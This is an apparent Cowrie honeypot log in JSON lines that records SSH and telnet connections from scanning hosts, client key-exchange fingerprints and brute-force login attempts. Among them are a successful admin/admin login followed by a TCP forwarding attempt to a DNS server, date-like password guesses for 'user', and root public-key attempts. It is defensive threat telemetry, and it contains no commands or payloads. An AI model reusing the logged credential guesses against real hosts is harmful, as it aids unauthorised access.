{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:49:39.406876Z","src_ip":"87.251.64.176","session":"f4466f23ea83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:49:39.504069Z","src_ip":"87.251.64.176","session":"f4466f23ea83","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:49:39.792133Z","src_ip":"87.251.64.176","session":"f4466f23ea83","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:49:39.890584Z","session":"f4466f23ea83","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:49:39.988243Z","src_ip":"87.251.64.176","session":"f4466f23ea83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:49:40.097234Z","src_ip":"87.251.64.176","session":"f4466f23ea83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":59596,"dst_ip":"159.203.135.109","dst_port":23,"session":"59555c7e67f6","protocol":"telnet","message":"New connection: 104.140.145.149:59596 (159.203.135.109:23) [session: 59555c7e67f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:49:46.630841Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38992,"dst_ip":"159.203.135.109","dst_port":23,"session":"16e22b4b519a","protocol":"telnet","message":"New connection: 135.148.33.91:38992 (159.203.135.109:23) [session: 16e22b4b519a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:49:54.991134Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":38510,"dst_ip":"159.203.135.109","dst_port":23,"session":"39132e4e4ac5","protocol":"telnet","message":"New connection: 104.140.145.149:38510 (159.203.135.109:23) [session: 39132e4e4ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:50:05.072586Z"}
{"eventid":"cowrie.session.closed","duration":34.30998921394348,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:50:06.083026Z","src_ip":"135.148.33.91","session":"b17b5c79e25e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49630,"dst_ip":"159.203.135.109","dst_port":23,"session":"e597c7a9eecc","protocol":"telnet","message":"New connection: 135.148.33.91:49630 (159.203.135.109:23) [session: e597c7a9eecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:50:12.541736Z"}
{"eventid":"cowrie.session.closed","duration":34.03091096878052,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:50:29.021929Z","src_ip":"135.148.33.91","session":"16e22b4b519a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41896,"dst_ip":"159.203.135.109","dst_port":23,"session":"e541491f54f3","protocol":"telnet","message":"New connection: 135.148.33.91:41896 (159.203.135.109:23) [session: e541491f54f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:50:46.184742Z"}
{"eventid":"cowrie.session.closed","duration":34.29042387008667,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:50:46.832063Z","src_ip":"135.148.33.91","session":"e597c7a9eecc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":46924,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aa494c1182b","protocol":"telnet","message":"New connection: 135.148.33.91:46924 (159.203.135.109:23) [session: 9aa494c1182b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:50:55.246928Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":59672,"dst_ip":"159.203.135.109","dst_port":23,"session":"d43acc3fc365","protocol":"telnet","message":"New connection: 135.148.33.91:59672 (159.203.135.109:23) [session: d43acc3fc365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:51:15.179205Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":60828,"dst_ip":"159.203.135.109","dst_port":23,"session":"8777ab389ae3","protocol":"telnet","message":"New connection: 135.148.33.91:60828 (159.203.135.109:23) [session: 8777ab389ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:51:17.251261Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":32870,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1178e8b2b43","protocol":"telnet","message":"New connection: 135.148.33.91:32870 (159.203.135.109:23) [session: c1178e8b2b43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:51:17.748259Z"}
{"eventid":"cowrie.session.closed","duration":38.32749080657959,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:51:24.511636Z","src_ip":"135.148.33.91","session":"e541491f54f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38002,"dst_ip":"159.203.135.109","dst_port":23,"session":"8222bef4f368","protocol":"telnet","message":"New connection: 135.148.33.91:38002 (159.203.135.109:23) [session: 8222bef4f368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:51:26.511190Z"}
{"eventid":"cowrie.session.closed","duration":33.098602056503296,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:51:28.345415Z","src_ip":"135.148.33.91","session":"9aa494c1182b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41412,"dst_ip":"159.203.135.109","dst_port":23,"session":"8265a63c79cd","protocol":"telnet","message":"New connection: 135.148.33.91:41412 (159.203.135.109:23) [session: 8265a63c79cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:51:33.435668Z"}
{"eventid":"cowrie.session.closed","duration":120.00294852256775,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:51:46.633642Z","src_ip":"104.140.145.149","session":"59555c7e67f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.57443046569824,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:51:52.825602Z","src_ip":"135.148.33.91","session":"8777ab389ae3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.321603536605835,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:51:53.069720Z","src_ip":"135.148.33.91","session":"c1178e8b2b43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.637898206710815,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:51:55.816982Z","src_ip":"135.148.33.91","session":"d43acc3fc365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.828694581985474,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:52:00.339787Z","src_ip":"135.148.33.91","session":"8222bef4f368","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00644063949585,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:52:05.078889Z","src_ip":"104.140.145.149","session":"39132e4e4ac5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.96555733680725,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:52:08.401118Z","src_ip":"135.148.33.91","session":"8265a63c79cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38074,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e27c5f2873f","protocol":"telnet","message":"New connection: 135.148.33.91:38074 (159.203.135.109:23) [session: 7e27c5f2873f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:52:16.915922Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":39832,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d2472d281b0","protocol":"telnet","message":"New connection: 135.148.33.91:39832 (159.203.135.109:23) [session: 2d2472d281b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:52:19.055680Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":30513,"dst_ip":"159.203.135.109","dst_port":22,"session":"862c7b3ad78e","protocol":"ssh","message":"New connection: 2.57.121.25:30513 (159.203.135.109:22) [session: 862c7b3ad78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:52:41.997244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:52:42.002485Z","src_ip":"2.57.121.25","session":"862c7b3ad78e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:52:42.103471Z","src_ip":"2.57.121.25","session":"862c7b3ad78e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"230189","message":"login attempt [user/230189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:52:42.581527Z","src_ip":"2.57.121.25","session":"862c7b3ad78e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23011995","message":"login attempt [user/23011995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:52:43.686502Z","src_ip":"2.57.121.25","session":"862c7b3ad78e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23011993","message":"login attempt [user/23011993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:52:44.791101Z","src_ip":"2.57.121.25","session":"862c7b3ad78e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"221287","message":"login attempt [user/221287] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:52:45.899196Z","src_ip":"2.57.121.25","session":"862c7b3ad78e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22121993","message":"login attempt [user/22121993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:52:47.003695Z","src_ip":"2.57.121.25","session":"862c7b3ad78e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:52:48.109493Z","src_ip":"2.57.121.25","session":"862c7b3ad78e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.83512282371521,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:52:51.750936Z","src_ip":"135.148.33.91","session":"7e27c5f2873f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.63570427894592,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:52:54.691258Z","src_ip":"135.148.33.91","session":"2d2472d281b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":46506,"dst_ip":"159.203.135.109","dst_port":23,"session":"232000e4f81f","protocol":"telnet","message":"New connection: 135.148.33.91:46506 (159.203.135.109:23) [session: 232000e4f81f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:16.706557Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.175.144.177","src_port":59158,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bc053be4b33","protocol":"ssh","message":"New connection: 46.175.144.177:59158 (10.17.0.5:22) [session: 0bc053be4b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:37.542950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:37.547945Z","src_ip":"46.175.144.177","session":"0bc053be4b33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:37.631536Z","src_ip":"46.175.144.177","session":"0bc053be4b33","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:f7:ae:93:81:68:9b:b1:4f:b4:91:06:be:8b:78:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7sfypJOmo2AWOc077J+6666jq+SbotgHmV2ju2aewG+PWsGwmgdYGaiuRmD4tQurbp0t0u7tXJrUum0rOnNoPIeCdUMS7w63Rks2v8lP0IF+CVBr0657R2QXmb1bul184gKgJiQxRmbwestcvqOUf/Q28T8Hft3+8rqkO+8z4yIYaWOx5F092OgdGYgdTopyokg0tScWYqr19yhN4fwW7037Nm/Ju4vUMJ2O4p6SrUMNZgJjIMNP0gnoN4nK9W9i9ksir0RdjZSH80COgxsUWPLy4XRk1PD7guFEfQy4QgsQNHxOcG539vGSz9Ff0QjtQc8PZcZmzYu0QwUobxi0B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:f7:ae:93:81:68:9b:b1:4f:b4:91:06:be:8b:78:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:38.026225Z","src_ip":"46.175.144.177","session":"0bc053be4b33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:f7:ae:93:81:68:9b:b1:4f:b4:91:06:be:8b:78:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7sfypJOmo2AWOc077J+6666jq+SbotgHmV2ju2aewG+PWsGwmgdYGaiuRmD4tQurbp0t0u7tXJrUum0rOnNoPIeCdUMS7w63Rks2v8lP0IF+CVBr0657R2QXmb1bul184gKgJiQxRmbwestcvqOUf/Q28T8Hft3+8rqkO+8z4yIYaWOx5F092OgdGYgdTopyokg0tScWYqr19yhN4fwW7037Nm/Ju4vUMJ2O4p6SrUMNZgJjIMNP0gnoN4nK9W9i9ksir0RdjZSH80COgxsUWPLy4XRk1PD7guFEfQy4QgsQNHxOcG539vGSz9Ff0QjtQc8PZcZmzYu0QwUobxi0B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:38.034238Z","src_ip":"46.175.144.177","session":"0bc053be4b33","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:17:1c:c8:47:80:21:10:5c:68:c0:9f:a7:a4:44:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFtI0hLmanAOxG9DxTJdH1mRLdH643U/M0LXA2mQjIW4qqGtQ7W3NwAdQJDDqso3KH3+cgoSK8ecFnfblgKQxeBkJi7RhzQYDnhPXgbhpLj351VOHBDDT9nfTZvZeoGM0U1raRFXxXoExnTAB7XL7IxtM8sch5cnuvfeUjDul9t719WYfRpwB4arnUpKS63xCso1rfZE/OowSZOL8LMpaJCSf+r8Pag4LPm72qKda3BOaWWkHiRhaV7Ko1hZYgycIzZEafjutnxNcus955k3zmhBNcHOpKO42aPzspn2ZAB8Ko/kXilBo5bXzTJ6rL+dnGemK9yrjVgVjamzpyXsRD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:17:1c:c8:47:80:21:10:5c:68:c0:9f:a7:a4:44:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:38.119076Z","src_ip":"46.175.144.177","session":"0bc053be4b33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:17:1c:c8:47:80:21:10:5c:68:c0:9f:a7:a4:44:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFtI0hLmanAOxG9DxTJdH1mRLdH643U/M0LXA2mQjIW4qqGtQ7W3NwAdQJDDqso3KH3+cgoSK8ecFnfblgKQxeBkJi7RhzQYDnhPXgbhpLj351VOHBDDT9nfTZvZeoGM0U1raRFXxXoExnTAB7XL7IxtM8sch5cnuvfeUjDul9t719WYfRpwB4arnUpKS63xCso1rfZE/OowSZOL8LMpaJCSf+r8Pag4LPm72qKda3BOaWWkHiRhaV7Ko1hZYgycIzZEafjutnxNcus955k3zmhBNcHOpKO42aPzspn2ZAB8Ko/kXilBo5bXzTJ6rL+dnGemK9yrjVgVjamzpyXsRD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:38.122744Z","src_ip":"46.175.144.177","session":"0bc053be4b33","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:ab:dc:ef:d0:dc:d4:16:32:63:5e:36:2f:f9:2a:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpuTNdD7R8nQDjw6D6Oz8Dg+4ZasRFQ2XYZsoirXHECQjzvAY1trEk08B2UiOg2aNX5oOMcBCZhVW8Ln4yMyNjp2FIryQ4P/ZfU+rfc/gJ2C25xtdcV6H344SFggt1LX8bh/N+tYhx50FgeXfR9xnz2zc+IzeQ4B8pb9K8I8nzttbyKBH/pHj6w+2td5HxqVG8G1qXg1MOUJssi99DqmdeFzrI9yMbsMXugvViPRYAeKLL0JNMmU00aABEFdw4d07Q5O3cTJTPFgEpbNe+JD4zqYD1j0eose0QNC/5p9anciUP15PcCKn3tjMPBOoGEEAkJ+uHCu0oRl7dMJcSYBQx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:ab:dc:ef:d0:dc:d4:16:32:63:5e:36:2f:f9:2a:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:53:38.206290Z","src_ip":"46.175.144.177","session":"0bc053be4b33","protocol":"ssh"}
